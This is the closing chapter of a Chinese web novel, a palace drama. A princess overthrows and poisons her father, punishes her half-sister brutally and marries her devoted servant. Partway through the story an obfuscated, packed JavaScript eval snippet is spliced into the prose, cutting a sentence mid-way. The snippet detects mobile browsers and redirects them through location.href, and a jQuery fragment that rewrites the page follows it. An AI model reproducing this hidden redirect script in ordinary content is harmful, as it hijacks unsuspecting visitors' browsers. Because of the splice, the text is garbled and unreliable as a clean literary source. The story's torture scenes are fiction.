赵良平微怔,身旁有人拉了他一把,笑着打趣道:“赵副将,您就别盯着长公主瞧了,长公主身边已经有了知心人了,您莫不是不知道吧?”
赵良平脸色微红,他又不是傻子,这一路上,那个叫做邬琅的少年几乎和长公主寸步不离,夜里还睡在同一处帐篷里。甚至有好几回,他还撞见过在河边无人之地,长公主揽着那少年的腰肢,闭目亲吻他的唇瓣,温柔地唤他阿琅。
可是在龙虎军中,没有人会讨厌邬琅。他性子安静,做事又细心,只要听说有人受了伤,或是生了病,哪怕那人只是个粗鄙的伙夫,他都会不遗余力地为他医治。
不说别人,前些日子他不慎摔伤了骨头,便是邬琅亲自接好的。
赵良平想着心事,不由有些出神,等他再抬起头,篝火旁已经不见了薛筠意和邬琅的身影。
不远处的营帐中,薛筠意坐在临时搭起的木床上,少年跪在她脚边,替她除去浸了雪水的罗袜,轻捧起她冻得微微发红的双足,小心地浸进盆中的热水里。
外头天寒地冻,弄来这些热水着实费了他不少功夫。
可邬琅一点儿都不觉得辛苦。
“主人可有觉得舒服些?”他力道适中地揉按着她的脚底,顿了顿,又轻声道,“如今天愈发冷了,您怎么一点都不知道爱惜自己的身子……方才还吃了冷酒,也不怕夜里胃疼。”
薛筠意忍不住弯唇道:“阿琅的话越来越多了。”
邬琅动作微顿,浓密的鸦睫垂了下去,声音很小:“奴、奴只是担心您的身子。您多泡一会儿吧,能祛一祛寒气。水冷了,奴再给您烧。”
薛筠意伸手摸了摸他的脸,柔声道:“其实不必这么麻烦的。阿琅这几日也实在辛苦。我听军中的将士们说,你可是都没怎么歇着,一直忙活着给他们治伤。”
邬琅连忙道:“不辛苦的。奴帮不上您什么忙,也就只能做些这样的小事。”
“谁说阿琅帮不上忙的?昨日还有好几个人,在我面前夸奖你医术高明呢。”
薛筠意随手用指腹碾过他凉软的唇,少年配合地迎上前,任由她把玩作弄,她的手指很凉,带着淡淡的花香,含在口中,像糖块一样。他望着薛筠意,目光痴痴的,喉咙里发出含糊不清的呜咽,他从水盆里捧起她湿淋淋的雪足,放在胸口,尽职尽责地当起一块舒服的擦脚布。
擦脚布当完了,便该当暖炉了。
他轻车熟路地爬上木床,先将被窝暖好,才服侍着薛筠意躺下,钻进她的怀里。
“早些睡。”薛筠意摸了摸他的脑袋。
少年照旧在她脸颊上落下一个潮湿的吻,才听话地闭上眼睛。
翌日
晨起,掀开帐篷,便见外头零星飘起了雪花。
姜琰匆忙整顿好队伍,不多时,大军便重新上路,直奔景州而去。
一路上,战的战,降的降,总归是赶在除夕这夜,来到了景州昌朴县。再往前数十里,便是京都了。
昌朴县县令是个识相的,早早候在城门口,请薛筠意等人今夜在县衙歇脚。
薛筠意婉言拒绝了,今夜是除夕,自然要和军中将士们在一处。不过她思来想去,还是换了身素净些的衣裳,在傍晚时分,带着邬琅进了城。
既是除夕,自然要给她的小狗买件像样的礼物。
长街上很是热闹,到处都是推着木车叫卖的商贩,薛筠意牵着邬琅的手,一路走走停停,忽然见街边一家茶馆里坐了不少人,似乎很是热闹,她向一个卖灯笼的姑娘随口打听了几句,那姑娘笑着说:“您来的巧,今儿这茶馆里来了位名声响当当的说书先生,嘴皮子可利索了,听说还是从京都来的,您既赶上了,何不进去瞧瞧?”
薛筠意对说书没什么兴趣,正打算带着邬琅离开,却听见大堂里,那说书人一把亮堂堂的嗓子,竟然有些熟悉。
“……且说这长公主出了京都,一路往北,端的是要往那寒州去。您道是为何?只因那皇帝,揣了副歹毒心肠,竟毒害发妻,害得那姜皇后年纪轻轻,便惨死宫中。这其一,自是为了个‘孝’字。”
话音落,堂中顿时响起一片唏嘘之声。
那说书人又道:“咱们再说这一路上,是三关十二州,百姓们各有各的难处,实是苦不堪言。诸位且听我一言——当年先帝四子夺位,列位看官没亲眼瞧过,也该听说过不少故事。昔日若非姜家推了皇帝一把,如今龙椅上坐着的,还不知是哪一位呢。可咱们这皇帝,却只顾自个儿享乐,不顾百姓生死——”惊堂木重重一拍,“这其二,为的便是‘国’。”
薛筠意不觉听得入了神,这说书人讲的头头是道,有的确是她亲身经历,有的则是他杜撰而来,虽有些许夸张,但倒也大差不差。
一段书讲罢,客人们皆抚掌叹息,有的甚至义愤填膺地骂起了当今皇帝,那说书人一路讨着赏钱行至门口,借着房檐下昏黄的灯笼,薛筠意看清了,正是解安。
四目相对,两人皆是一怔。最后还是解安先回过神来,朝薛筠意拱手行了一礼,又意味深长地看了眼一旁的邬琅。
“提前恭祝殿下,事毕功成。”
薛筠意弯唇一笑,从钱袋里取出一锭金灿灿的金子,递到解安手中。
“那便借解公子吉言了。”
两人就此别过,再未多言。
她重新牵起邬琅的手,顺着长街往前走,忍
不住感叹道:“想不到解公子,真做成了他想做之事。”
少年默了默,低声道:“您也会的。”
薛筠意笑笑,在一处摊子前停下了脚步,她一眼便看中了那支红玉簪,玉色通透,水一样的嫣红,像极了少年动情时微微泛红的眼角。
他用来束发的簪子一向都是白玉质地,样式也极为简素,她还没见过她的小狗戴红玉簪子呢。偶尔戴些艳色,想来也会很好看的。
薛筠意当即便付了银子。
“送给阿琅的新岁礼物,可还喜欢?”她笑着问道。
少年连忙点头,“喜欢的。”
只要是主人送的,无论是什么,他都喜欢的。
可他很快便垂下了眼,小声道:“可是,奴没有可以送给您的礼物。”
薛筠意揉揉他的脑袋:“我什么都不缺。我只要往后,阿琅能一直陪在我身边,便足够了。”
周遭嘈杂喧嚷,可她的声音却如此清明。
他望着那双温柔含笑的眼睛,心脏跳得很快,他将那支簪子紧紧攥在手里,哑声应道:“是,奴会、奴会永远陪着您的。”
除夕夜的长街上,四处都挂满了花灯。行人络绎不绝,时不时有小孩子从身边跑过去,掀起一阵热闹的风。
薛筠意牢牢牵着少年的手,漫无目的地行过吵闹的街道,踏过弯月似的石桥,看着那些公子和姑娘们,对着河面上飘过的灯盏,虔诚许愿。
而后,新岁的爆竹声响起,漆黑的天幕上绽开绚烂的烟火,如同春日里盛放的花瓣。
薛筠意转过身,在人来人往的长街上,亲吻她的小狗,她的珍宝。
“阿琅,新岁到了。”
“愿我的阿琅,岁岁年年,顺遂无忧。”
她笑望着他,璀璨烟火映在少年清冷的乌眸中,他微红着脸,说了句什么,淹没在嘈杂的爆竹声中,有些听不真切。
薛筠意便偏过脸,示意他靠近些,少年温热的呼吸落在她的耳廓,她听见他低哑嗓音,有些笨拙,却是这世上最纯澈的真心。
“奴什么都不求……奴愿意替您承受所有的伤痛,只求您,一定要平平安安的。”
*
新岁一过,便落了场大雪,像极了去年压满凤宁宫房檐的那场雪,纷纷扬扬,如同铺天盖地的鹅毛。
众人在昌朴县外歇了几日,待雪停了,才动身往京都去。
行过白雪皑皑的田野,终于远远望见了京都的城墙,以及城门前那队身着铁甲的贺家军。
薛筠意勒了马,眯起眼睛打量着为首的年轻将领。若她所记不错,此人正是贺寒山的副将王墨林。他的确跟着贺寒山历练过几年,可论资历本事,到底还是年轻,看来薛璋真是无
人可用了。
姜琰和姜承虎见了这座熟悉的城门,早都红了眼,当初便是薛璋一道圣旨,将他们赶去了远在千里之外的寒州,此后十余年,再不曾见过妹妹一眼。
姜琰的手已经按在了刀柄上,可这时,王墨林身后忽然传来一阵铁蹄踏过地面的声响,他抬眼看去,竟是薛璋带着一队亲卫死士,亲自赶来迎战。
害死妹妹的仇人就在眼前,姜琰再无法压抑心底的怒火,扬声喊道:“薛璋狗贼,还我妹妹性命!”
薛璋冷眼看着他,“姜家为朕之臣子,却做出如此不忠之事,该诛。”
目光落在一旁的薛筠意身上,薛璋的眼神愈发冰冷,“身为朕的女儿,却勾结叛贼,意图谋反,是为不孝,一样该诛。”
薛筠意冷笑:“父皇,您还记得我是您的女儿啊?您害死母后的时候,怎么不想想,她可是您的妻子,您的皇后?这时候论起忠孝之道,未免太可笑了些。”
薛璋一噎,顿时哑口无言,他沉了脸,蓦地拔剑出鞘,冷声道:“众军听令,今日给朕杀了这群反贼,斩下长公主头颅者,赏黄金万两!”
马蹄踏得地面轰隆震颤,两军很快厮杀在一处,薛筠意纵马疾驰,一路**过去,直奔皇帝而去。她弯弓搭箭,瞄准皇帝面门,抬手间数箭连发,王墨林急忙护在皇帝身前,自个儿胸口却挨了一箭,重重地从马背上栽倒了下去。
血腥味弥散在空气中,薛筠意的脸上溅满了粘腻的血,此刻她的眼中只有薛璋,利刃出鞘,她毫不留情地刺向他的喉咙,薛璋堪堪避过,怒不可遏地开口:“不孝女,你还敢弑父不成?”
“有何不敢?一命还一命,这是你欠母后的。”她神色冰冷,手中剑刃毫不留情,“不过,让你就这么痛快地**,未免太便宜了你。”
刀剑碰撞,血珠飞溅。
薛璋望着眼前那张酷似姜元若的面容,一时有些恍惚,她眼中的杀意,与那时元若眼里的恨意一样汹涌,一样浓烈。
元若……
元若也想杀了他吗?
少女发了狠般,招招斩向他要害之处,他渐渐有些招架不住,直至姜琰率着一队龙虎.骑纵马赶来,他才恍然,他败了,败得这样快。
藏月**他腰腹之中,流出汩汩的鲜血。意识模糊间,薛璋认出了那把刀,那是元若的东西。
唇边扯出一抹讥讽的笑,不知是在笑他自己,还是在笑旁人。
是元若杀了他,薛璋想。
可出乎意料的,元若的刀没有**他的心口。他什么都听不见了,只看见元若的哥哥那张愤怒的脸,不断翕动的嘴唇,还有元若的父亲眼中的悲愤。
薛璋闭上了眼。
他被结实的绳索绑了起来,关进了囚车之中。
耳边的声响渐渐清晰起来。他听见百姓们伏地叩拜,道长公主万岁,新皇万岁。
皇宫里一切如旧,却不再属于他了。薛璋颓然跪倒在地,看着薛筠意身后那模样俊秀的少年低头走过来,捧上一碗滚烫的汤药。而后薛筠意便上前来,强硬地掰开了他的唇齿,逼迫他咽下。
“你给朕灌了什么东西。”薛璋嘶哑着嗓子低吼。
“没什么。不过是你当初曾给母后喝过的**罢了。”薛筠意慢条斯理道,“不过这药,比您那时给母后用的药要温和得多。它不会让你像母后那般迅速枯败死去,而是会慢慢地腐蚀你的肝脏。两个月,或是半年……谁也说不准你还能活多久呢。”
薛璋红着眼,只反反复复地重复着三个字,“不孝女,不孝女啊!”
薛筠意嗤了声,懒得理会,只淡声吩咐:“把他带到凤宁宫去,我要让他日日跪在母后的灵位前忏悔他的罪孽,直到他死的那日。”
“是。”
侍卫领命,大步上前来,将口中兀自咒骂不停的薛璋拖了下去。
薛筠意站在殿中,望向远处的宫墙。大雪已经停了,冬日的太阳悬在山尖,一切都是拨云见日的晴朗。
翌日早朝,南疆的新帝宣布了两件大事。
一是她从此弃去薛姓,改姓为姜,二是封姜琰为护国大将军,其父姜承虎因已有龙虎将军一职,便赐封安国侯,赐宅邸良田,又特地赏了恩典,准他亲自回寒州接姜老太太入京。
朝臣们恭声道陛下英明,他们偷偷打量着这位眉眼凌厉的女帝,心中不免多了几分敬畏。看来是个不好糊弄的。
散了早朝,姜筠意便由墨楹陪着,往青梧宫去。才出殿门,便望见邬琅站在宫道旁,似乎已经等候了她多时。
她的脸色这才温和下来,快步朝少年走去。
“阿琅怎么过来了?”
她习惯性地牵起邬琅的手,墨楹见状,忙朝身后的宫人使了个眼色,示意他们将步辇撤去。
少年有些不自在地看了眼那群跟在薛筠意身后的宫人,垂眸看向两人十指相扣的手,小声道:“奴想您了。”
姜筠意不由失笑:“朕才上了半个多时辰的早朝而已。”
少年抿唇不语,姜筠意知道他是碍着人多,不好意思多说什么,便捏了捏他的手背,柔声道:“我们回去吧。”
“好。”
忽然,不知从哪儿钻出一道人影,拦在了姜筠意的身前,一把便扯住了她的衣袖。墨楹连忙拔刀上前,她如今不仅是新帝身边的大宫女,更是一等带刀御前护卫。
“什么人,敢惊扰圣驾!”
话
音落,墨楹才发现那人穿着宫女衣裳,蓬头垢面,容貌却有些眼熟。她眨了眨眼,几乎有些不敢认,这还是昔日那个嚣张跋扈的二公主薛清芷吗?
薛清芷红着眼睛,目眦欲裂,“你、你当真杀了父皇?皇姐,你杀了父皇是不是?”
姜筠意蹙眉看着眼前这人不人鬼不鬼的东西,偏过脸看向身后的琉银。琉银会意,忙走上前,将她不在宫中时,皇帝疑心薛清芷并非他亲生而将她贬去浣衣局一事说了一遍。
姜筠意听罢,不由讥讽地嗤了声,她还没闲心管薛清芷的事,她自个儿倒是遭了报应。最可笑的,莫过于薛清芷千真万确是薛璋的女儿,可薛璋一时昏了头,竟连亲生女儿都不认了。
她不想理会薛清芷什么,径自从她身边走过,薛清芷却犹不死心地拽住了她的手腕,咬牙切齿地道:“你怎么敢杀了父皇?你是他的女儿啊……你如此狠毒,就不怕遭天谴吗?”
“狠毒?”姜筠意冷冷拂开她的手,“若论狠毒,谁能比得过妹妹你呢。”
她的目光落在薛清芷的腿上,漫不经心道:“这是哪里来的奴婢,竟满宫里地乱跑,连朕也敢冲撞。依朕看,这双腿也不必留着了。”
不多时,李嬷嬷便得了消息匆忙赶来,忙不迭地跪下告罪:“陛下恕罪,您放心,奴婢回去就打断她的腿,保证她再不会出现在您面前。”
姜筠意不置可否,李嬷嬷额上冷汗淋漓,用力拧着薛清芷的耳朵,将人拽走了。
薛清芷一步一回头,呆呆地望着薛筠意那双行动自如的腿,喃喃道:“怎么会……皇姐的腿怎么会好……”
她无论如何也不敢相信,她的皇姐竟然真的做到了。她的皇姐成了新朝的女帝,人人敬仰,而她却只能在浣衣局里做个**的奴婢,凄惨地度过余生。她本来还指望着日后薛璋能回心转意,将她从浣衣局接出来,如今这希望却破灭得彻底。
李嬷嬷冷笑不止:“你个贱婢有什么资格对陛下指指点点?”
她难得好心地伸手指了指,“喏,睁大你的狗眼好生看看,陛下身边那位,可是未来的皇夫,一手医术妙手回春,听说陛下的腿便是他不惜以身试毒,费尽心力才治好的。”
薛清芷整个人呆怔住。
是邬琅治好了皇姐?
她怔怔地望着两人并肩而行的背影,还有那十指相扣的手,“怎么可能……”
不仅如此,李嬷嬷竟说他是未来的皇夫。
薛清芷只觉荒谬,皇姐是疯了不成,竟让一个卑贱肮脏的奴隶做她的皇夫?
“行了,莫看了,还是先管好你自个儿吧。”
李嬷嬷不耐烦地将她拖回浣衣局,扔进那间昏暗的
偏屋,“你胆大妄为,竟敢惊扰圣驾,我今日便奉陛下的意思,打断你的双腿,免得你再惹出什么事端来。”
李嬷嬷说着,便指挥着两个婆子将她牢牢绑缚在了长凳上,薛清芷还未反应过来,李嬷嬷手中的铁棍已经落了下来。
“啊啊啊!”
眼泪立时便涌了出来,她疼得浑身都在抽搐,巨大的痛苦令她脑海中空白一片,那根铁棍却全然不顾她的感受,仍旧毫不留情地砸在她脆弱的腿骨上。
“别打了……奴婢知错了,奴婢再不敢了……”
薛清芷嚎啕大哭起来,恍惚间,她听见了腿骨碎裂的声响,那声音她很熟悉,因为她曾用同样的方式,打断过那可怜少年的腿。
也是这般沉重的铁棍,力道比这还要重些。
她犹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019655|194235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得那时少年脸上痛苦不堪的神色,苍白瘦削的面颊上一丝血色也无,蒙着潮湿的冷汗,他紧闭着眼,唇瓣咬得渗出大颗大颗的血珠来,饿得过分单薄的身子如草叶一样摇颤。那次之后,他终是拖着一条断了的腿,在她面前重重磕下头去,哑声说,他再也不会不乖了,往后他会乖乖听话,再不敢忤逆她半句。
薛清芷哭得喘不过气,鲜血流了满地,她却没能得到任何怜悯或是同情,李嬷嬷径自拽着她凌乱的长发,将她拖到池子边上,命人铐住她的双手,再用铁链牢牢拴在树旁。
“左右只是个洗衣裳的婢子,要这双腿也是无用。只这双手能干活就够了。”李嬷嬷嫌恶地擦了擦手上沾染的血。
薛清芷一句话都不敢说,只能一面流泪,一面用生满了冻疮的手不停地搓洗着衣裳,每到天黑之时,李嬷嬷便会过来检查,若是有剩下的,或是洗得不干净的,她便要挨巴掌。
可是她一个人实在做不完那么多的活,因此她的脸,日日都要高高地肿着。
这日,天刚蒙蒙亮,薛清芷便跪在了池子边,顶着一张红肿的脸,洗着昨日没能洗完的那些衣裳。
“哎哟,皇夫您怎么过来了,您若有什么事,只管让下人让传个话就是,怎么还亲自跑一趟呢。”李嬷嬷谄媚的声音从不远处传来。
薛清芷怔了下,蓦地抬起头,就见邬琅正随李嬷嬷朝池子边走来,少年声线低沉,好听得不像话。
“陛下的衣裳上掉了颗上好的雪玉珠,许是浆洗的时候不小心弄掉了。那珠子旁人记不得模样,左右今日无事,我便过来寻寻。”
李嬷嬷连忙道:“您且等着,我这就去问问昨日做活的那几个丫头。”
薛清芷望着那张熟悉的清俊面庞,仿佛看见了她最后的一丝希望。她拖着一双断了的腿,狼狈地匍匐在地上,艰难地朝邬琅爬去,还未爬
到他面前,便被铁链生生拽回了原地。
“邬琅,求你,求你替我在皇姐……不,在陛下面前说说情,让陛下放我出去好不好?”她眼里盛着渴盼的光,努力伸长了手臂,紧紧抓着他的靴尖,“你不是最得陛下宠爱的吗?只要你在陛下面前替我说两句好话,陛下一定会放我出去的……”
邬琅厌恶地往后退了两步。
薛清芷撑着石地,费力地直起身来,见邬琅神情淡漠不为所动,她咬了咬牙,抬手便往自己脸上扇去。
“以前的事是我不对,我不该那般待你,可、可我也是真心喜欢你的呀。谁让你那般不给我好脸色……”
清脆的耳光声在院子里响起,有不少宫婢悄悄从屋子里探出头来,望向薛清芷的目光充满了鄙夷。
“你听见没有?芷奴说她喜欢皇夫呢。”
“真是不要脸,自个儿什么身份不知道,还敢觊觎陛下的人。”
“那可是陛下的心头肉,她也敢惦记?”
薛清芷只当什么都没听见,只直勾勾地盯着邬琅,眼里充满了哀求,“求你了,替我在陛下面前说几句好话吧……”
从始至终,邬琅只是面无表情地站在那里。
薛清芷的声音渐渐小了下去。
她惊恐地发现,少年看她的眼神没有半分情绪,甚至没有恨。仿佛她只是个无关紧要的东西,一只无足轻重的蝼蚁,根本不值得他放在心上,浪费心神。
直至她的皇姐出现在邬琅身后。
听见熟悉的脚步声,少年清冷淡漠的黑眸里蓦然泛起了光亮,是欢喜的,是渴盼的,那是她永远得不到的东西。
他快步朝姜筠意走去,欲跪地行礼,被姜筠意伸手扶住。
“阿琅,你来这地方做什么?”她蹙眉看向跪在地上的薛清芷,眼里有些不悦。
“您的衣裳掉了颗珠子,是您最喜欢的那颗雪玉珠。奴想着来寻一寻。”少年小声道。
“不过一颗珠子而已,丢了便丢了。往后这样的事交给下人去做,记住了吗?”
“奴记下了。”少年垂着眼,温顺得不像话。
“墨楹。”
“奴婢在。”墨楹快步上前来,等着她的吩咐。
姜筠意冷眼睨着薛清芷,“朕不想在宫里看见脏东西。”
她本不想费心去管薛清芷的事,任由她自生自灭便是,可她不想再让阿琅受到一丁点的伤害了。只要看见薛清芷这张脸,那些不堪的往事便会浮上心头,她的小狗很脆弱,需要精心养着,不能再受任何委屈。
墨楹办事向来利落,很快便叫来两个得力的侍卫,不顾薛清芷一声声惊惧的求饶,将她丢出了宫门。
她断了腿,只能用手肘撑着地
,勉强挪动至街角,蜷缩在脏兮兮的角落里。
没有吃食,没有水。
雪花簌簌飘落,覆了她满身,冻得她直打寒颤。
好不容易勉强挨过了一日,薛清芷终于耐不住腹中饥饿,只得做起了乞儿,伸出一双颤抖的手,小声祈求着好心人能施舍她几个铜板,让她买些吃食。
行人匆匆,无人为她驻足停步。
直到傍晚,才有一个模样清秀的少年在她面前停了下来,她抬起一双发昏的眼,隐约认出这竟是以前凝华宫中她最瞧不上眼的一个小奴。
恍惚间,她以为是邬琅站在了她面前,嘴唇哆嗦着想要说些什么,那少年却只是弯下腰,在她面前放下了两枚铜板,便叹息着离开了。
她紧紧握着那两枚温热的铜板,艰难地朝旁边的包子铺爬去,那老板娘倒很是爽快,还多给了她一个素包子,说明日是陛下大婚的好日子,只当是做做善事,给陛下讨个吉利了。
大婚……
和邬琅吗?
薛清芷捧着怀里冷透了的包子,望着远处那座华美巍峨的皇宫,怔怔地出神,眼角无声地淌着泪。
直至此刻,她才终于承认——她后悔了。
*
成婚大典办得很是热闹。
毕竟是新朝的头一件喜事,礼部自是卯足了精神去办的,喜宴直折腾到入夜才散。
姜筠意饮了不少的酒,本想先去沐浴的,但低头看了眼身上繁复华丽的喜服,她还是先进了里间。
少年正乖乖地坐在床边等她。
他同样身着喜服,头上还盖着盖头,挡住了那张清隽出尘的面容。
“主人。”他有些紧张地唤了声。
姜筠意弯了弯唇,快步走过去,掀开了盖头。
一身红色喜服衬得少年比平日更加俊美,好看得像画中走出来的人。那双清冷的黑眸此刻含着几分羞意,长长的鸦睫眨动,乖巧地望着她。
“等急了吧。饿不饿?要不要吃点东西?”姜筠意柔声问。
少年摇了摇头,姜筠意便牵起他的手走向桌边,拿起一早便备好的合卺酒,一饮而尽。
顾念着他是不能饮酒的,姜筠意特意命人备了青梅酒酿,是最不容易醉的酒了。
“酒喝完了,阿琅往后,便是我的人了。”姜筠意看着少年绯红的面颊,笑着说道。
“奴、奴早就是您的人了。”
少年低着头,连耳根都红透了。
姜筠意笑笑,没再逗他,伸手拿过桌上另外两只杯盏,推到邬琅面前。
“这是什么?”少年下意识地问道。
薛筠意认真道:“左边这杯,是‘苦’,右边这杯,是‘甜’。今夜阿琅与我共饮,往后余生,无论是苦是甜,都要与我携手共度。阿琅可愿?”
说罢,她便拿起了苦的那杯,正欲先饮一半,一向规矩的少年却忽然伸手拿了过来,一声不吭地喝了个干净。
姜筠意微怔,少年望着她的眼睛,低声道:“奴不想主人吃苦,苦的那份,奴替您承受,奴只希望您永远开心,永远幸福。”
周遭寂静无声,只余床头的那对龙凤花烛,发出毕剥毕剥的声响。
姜筠意的心跳忽然很快,喉咙里莫名地酸涩,她说不出话来,于是便俯下身,吻上了他的唇。
邬琅慢慢地环住她的腰,如以往无数次曾做过的那样,将她稳稳抱了起来,放在拔步床上。
大红的喜服凌乱地扔在地上,他躺在绣着鸳鸯的床褥上,身上落下细密而温柔的吻,由下至上,直至她的呼吸停留在他的唇间。
“主人……”
“嗯?”
“我爱您,主人。”他喃喃低语,黑眸里洇着水光,映着她的倒影,那是他人生的全部,是他生命的意义。
片刻静默后,他听见他的神明开口,声音温柔,一如初见。
“我也是。”
(正文完)